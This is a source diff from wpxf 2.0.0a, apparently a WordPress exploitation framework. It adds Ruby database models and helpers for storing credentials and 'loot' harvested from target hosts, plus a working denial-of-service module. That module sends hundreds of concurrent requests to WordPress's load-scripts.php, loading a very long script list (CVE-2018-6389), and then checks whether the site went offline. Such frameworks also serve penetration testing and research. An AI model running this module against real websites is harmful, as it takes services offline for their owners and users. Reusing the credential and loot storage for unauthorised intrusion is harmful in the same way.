wpxf 2.0.0a

data/lib/wpxf/db.rb

@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+# The root namespace.
+module Wpxf
+  # The namespace for database entity mixins.
+  module Db
+  end
+end
+
+require 'wpxf/models/workspace'
+require 'wpxf/models/credential'
+require 'wpxf/models/log'
+require 'wpxf/models/module'
+require 'wpxf/models/loot_item'
+
+require 'wpxf/db/credentials'
+require 'wpxf/db/loot'

data/lib/wpxf/db/credentials.rb

@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+# Provides functionality for storing and updating credentials.
+module Wpxf::Db::Credentials
+  # Store a new set of credentials in the database.
+  # @param username [String] the username.
+  # @param password [String] the password.
+  # @param type [String] the type of string stored in the password field.
+  # @return [Models::Credential] the newly created {Models::Credential}.
+  def store_credentials(username, password = '', type = 'plain')
+    credential = Wpxf::Models::Credential.first(
+      host: target_host,
+      port: target_port,
+      username: username,
+      type: type,
+      workspace: active_workspace
+    )
+
+    credential = Wpxf::Models::Credential.new if credential.nil?
+    credential.host = target_host
+    credential.port = target_port
+    credential.username = username
+    credential.password = _determine_password_to_store(credential, password)
+    credential.type = type
+    credential.workspace = active_workspace
+
+    credential.save
+  end
+
+  private
+
+  def _determine_password_to_store(model, new_password)
+    new_password = '' if new_password.nil?
+    return model.password if new_password == '' && !model.password.nil?
+    new_password
+  end
+end

data/lib/wpxf/db/loot.rb

@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+# Provides functionality for storing loot items.
+module Wpxf::Db::Loot
+  # Store a path to a new loot item in the database.
+  # @param path [String] the path to the stored loot.
+  # @param type [String] the type of loot acquired.
+  # @return [Models::LootItem] the newly created {Models::LootItem}.
+  def store_loot(path, notes = '', type = 'unknown')
+    Wpxf::Models::LootItem.create(
+      host: target_host,
+      port: target_port,
+      path: path,
+      notes: notes,
+      type: type,
+      workspace: active_workspace
+    )
+  end
+end

data/lib/wpxf/helpers/export.rb

@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module Wpxf
+  module Helpers
+    # Provides helper methods for common functionality used to export files.
+    module Export
+      include Wpxf::Db::Loot
+
+      # Register the export_path option.
+      # @param required [Boolean] a value indicating whether the option should be required.
+      # @return [StringOption] the newly registered option.
+      def register_export_path_option(required)
+        opt = StringOption.new(
+          name: 'export_path',
+          desc: 'The path to save the file to',
+          required: required
+        )
+
+        register_option(opt)
+        opt
+      end
+
+      # @return [String] the path to save the file to.
+      def export_path
+        return nil if normalized_option_value('export_path').nil?
+        File.expand_path normalized_option_value('export_path')
+      end
+
+      # @return [String] the path to a unique filename in the wpxf home directory.
+      def generate_unique_filename(file_extension)
+        storage_path = File.join(Dir.home, '.wpxf', 'loot')
+        FileUtils.mkdir_p(storage_path) unless File.directory?(storage_path)
+        filename = "#{Time.now.strftime('%Y-%m-%d_%H-%M-%S')}#{file_extension}"
+        File.join(storage_path, filename)
+      end
+
+      # Save {content} to a new file and log the loot in the database.
+      # @param content [String] the file content to save.
+      # @param extension [String] the file extension to use when creating the file.
+      # @return [Models::LootItem] the newly created {Models::LootItem}.
+      def export_and_log_loot(content, description, type, extension = '')
+        filename = generate_unique_filename(extension)
+        File.write(filename, content)
+        store_loot filename, description, type
+      end
+    end
+  end
+end

data/lib/wpxf/models/credential.rb

@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Wpxf
+  module Models
+    # A set of credentials for a specific target.
+    class Credential < Sequel::Model
+      plugin :validation_helpers
+
+      many_to_one :workspace
+
+      def validate
+        super
+
+        validates_presence :host
+        validates_presence :port
+
+        validates_numeric :port
+        validates_type String, :username, allow_nil: true
+        validates_type String, :password, allow_nil: true
+        validates_type String, :type, allow_nil: true
+
+        validates_max_length 250, :username, allow_nil: true
+        validates_max_length 250, :password, allow_nil: true
+        validates_max_length 250, :host
+        validates_max_length 20, :type
+      end
+    end
+  end
+end

data/lib/wpxf/models/log.rb

@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Wpxf
+  module Models
+    # A miscellaneous log entry.
+    class Log < Sequel::Model
+      plugin :validation_helpers
+
+      def validate
+        super
+
+        validates_presence :key
+        validates_type String, :key
+        validates_unique :key
+        validates_presence :value
+
+        validates_max_length 50, :key
+        validates_max_length 100, :value
+      end
+    end
+  end
+end

data/lib/wpxf/models/loot_item.rb

@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'fileutils'
+
+module Wpxf
+  module Models
+    # A loot item acquired from a target.
+    class LootItem < Sequel::Model
+      plugin :validation_helpers
+
+      many_to_one :workspace
+
+      def validate
+        super
+
+        validates_presence :host
+        validates_presence :port
+        validates_presence :path
+
+        validates_numeric :port
+        validates_type String, :path, allow_nil: true
+        validates_type String, :type, allow_nil: false
+        validates_type String, :notes, allow_nil: true
+
+        validates_max_length 500, :path
+        validates_max_length 250, :host
+        validates_max_length 50, :type
+        validates_max_length 100, :notes, allow_nil: true
+      end
+
+      def before_destroy
+        super
+        FileUtils.rm path if File.exist?(path)
+      end
+    end
+  end
+end

data/lib/wpxf/models/module.rb

@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module Wpxf
+  module Models
+    # A cache of a {Wpxf::Module}'s metadata.
+    class Module < Sequel::Model
+      plugin :validation_helpers
+
+      def validate
+        super
+
+        validates_presence :path
+        validates_presence :name
+        validates_presence :type
+        validates_presence :class_name
+
+        validates_type String, :path
+        validates_type String, :name
+        validates_type String, :class_name
+
+        validates_unique :path
+        validates_unique :class_name
+
+        validates_max_length 255, :path
+        validates_max_length 255, :name
+        validates_max_length 255, :class_name
+
+        validates_format /^auxiliary|exploit$/, :type
+      end
+    end
+  end
+end

data/lib/wpxf/models/workspace.rb

@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Wpxf
+  module Models
+    # A workspace with isolated loot and credentials.
+    class Workspace < Sequel::Model
+      plugin :validation_helpers
+
+      one_to_many :credentials
+      one_to_many :loot_items
+
+      def validate
+        super
+
+        validates_presence :name
+        validates_type String, :name
+        validates_unique :name
+        validates_format /^[A-Za-z0-9_]{1,50}$/, :name
+      end
+
+      def before_destroy
+        super
+        credentials.each(&:destroy)
+        loot_items.each(&:destroy)
+      end
+    end
+  end
+end

data/lib/wpxf/modules.rb

@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+module Wpxf
+  def self.build_module_list(namespace, folder_name = '')
+    modules = namespace.constants.select do |c|
+      namespace.const_get(c).is_a? Class
+    end
+
+    modules_directory = File.join(Wpxf.app_path, 'lib', 'wpxf', folder_name)
+
+    modules.map do |m|
+      klass = namespace.const_get(m)
+      filename = klass.new.method(:initialize).source_location[0]
+      {
+        class: klass,
+        name: filename.sub(modules_directory, '').sub(/^\//, '').sub(/\.rb$/, '')
+      }
+    end
+  end
+
+  def self.load_module(path)
+    mod = Wpxf::Models::Module.first(path: path)
+    raise "\"#{path}\" is not a valid module" if mod.nil?
+    Object.const_get(mod.class_name).new
+  end
+
+  module Auxiliary
+    def self.module_list
+      Wpxf.build_module_list(Wpxf::Auxiliary, 'modules')
+    end
+  end
+
+  module Exploit
+    def self.module_list
+      Wpxf.build_module_list(Wpxf::Exploit, 'modules')
+    end
+  end
+
+  module Payloads
+    def self.payload_count
+      payloads = Wpxf::Payloads.constants.select do |c|
+        Wpxf::Payloads.const_get(c).is_a? Class
+      end
+
+      payloads.size
+    end
+
+    def self.payload_list
+      @@payloads ||= Wpxf.build_module_list(Wpxf::Payloads, 'payloads')
+    end
+
+    def self.load_payload(name)
+      payload = payload_list.find { |p| p[:name] == name }
+      raise "\"#{name}\" is not a valid payload" if payload.nil?
+      payload[:class].new
+    end
+  end
+end
+
+require_rel 'modules/auxiliary'
+require_rel 'modules/exploit'
+require_rel 'payloads'

data/lib/wpxf/modules/auxiliary/dos/load_scripts_dos.rb

@@ -0,0 +1,129 @@
+# frozen_string_literal: true
+
+class Wpxf::Auxiliary::LoadScriptsDos < Wpxf::Module
+  include Wpxf
+  include Wpxf::Net::HttpClient
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WordPress "load-scripts.php" DoS',
+      desc: %(
+        All versions of WordPress, as of March, 2018, are vulnerable to a
+        denial of service attack by making large amounts of requests to the
+        load-scripts.php file. This module allows users to configure a maximum
+        number of requests (via `max_requests`), and the number of threads to
+        use (`max_http_concurrency`) and will execute the requests and then
+        check the status of the website.
+      ),
+      author: [
+        'Barak Tawily', # Vulnerability disclosure
+        'rastating'     # WPXF module
+      ],
+      references: [
+        ['CVE', '2018-6389'],
+        ['WPVDB', '9021'],
+        ['URL', 'https://baraktawily.blogspot.co.uk/2018/02/how-to-dos-29-of-world-wide-websites.html']
+      ],
+      date: 'Feb 05 2018'
+    )
+
+    register_options([
+      IntegerOption.new(
+        name: 'max_requests',
+        required: true,
+        desc: 'Max number of requests to send',
+        default: 200
+      ),
+      IntegerOption.new(
+        name: 'http_client_timeout',
+        desc: 'Max wait time in seconds for HTTP responses',
+        default: 5,
+        required: true
+      )
+    ])
+  end
+
+  def max_requests
+    normalized_option_value('max_requests')
+  end
+
+  def check
+    wordpress_and_online? ? :vulnerable : :unknown
+  end
+
+  def vulnerable_url
+    normalize_uri(
+      full_uri,
+      'wp-admin',
+      'load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,'\
+      'wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,'\
+      'wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,'\
+      'scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound'\
+      ',scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,'\
+      'jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,'\
+      'jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,'\
+      'jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate'\
+      ',jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,'\
+      'jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,'\
+      'jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu'\
+      ',jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,'\
+      'jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,'\
+      'jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color'\
+      ',schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,'\
+      'jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject'\
+      ',moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers'\
+      ',comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect'\
+      ',mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement'\
+      ',wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,'\
+      'wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,'\
+      'language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent'\
+      ',customize-base,customize-loader,customize-preview,customize-models,customize-views,'\
+      'customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets'\
+      ',customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models'\
+      ',wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox'\
+      ',tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,'\
+      'media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,'\
+      'custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,'\
+      'wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,'\
+      'custom-header,custom-background,media-gallery,svg-painter&ver=4.9.1'
+    )
+  end
+
+  def setup_requests
+    opts = {
+      url: vulnerable_url,
+      method: :get
+    }
+
+    self.complete_requests = 0
+    max_requests.times do
+      queue_request(opts) do |_res|
+        self.complete_requests += 1
+        emit_warning("#{complete_requests} requests executed") if (complete_requests % 10).zero?
+      end
+    end
+  end
+
+  def run
+    return false unless super
+
+    emit_info "Preparing #{max_requests} requests..."
+    setup_requests
+
+    emit_info "Beginning execution of #{max_requests} requests over #{max_http_concurrency} threads"
+    execute_queued_requests
+    emit_success 'Finished executing requests'
+
+    if wordpress_and_online?
+      emit_error "FAILED: #{full_uri} appears to still be online"
+      return false
+    else
+      emit_success "#{full_uri} appears to be down"
+      return true
+    end
+  end
+
+  attr_accessor :complete_requests
+end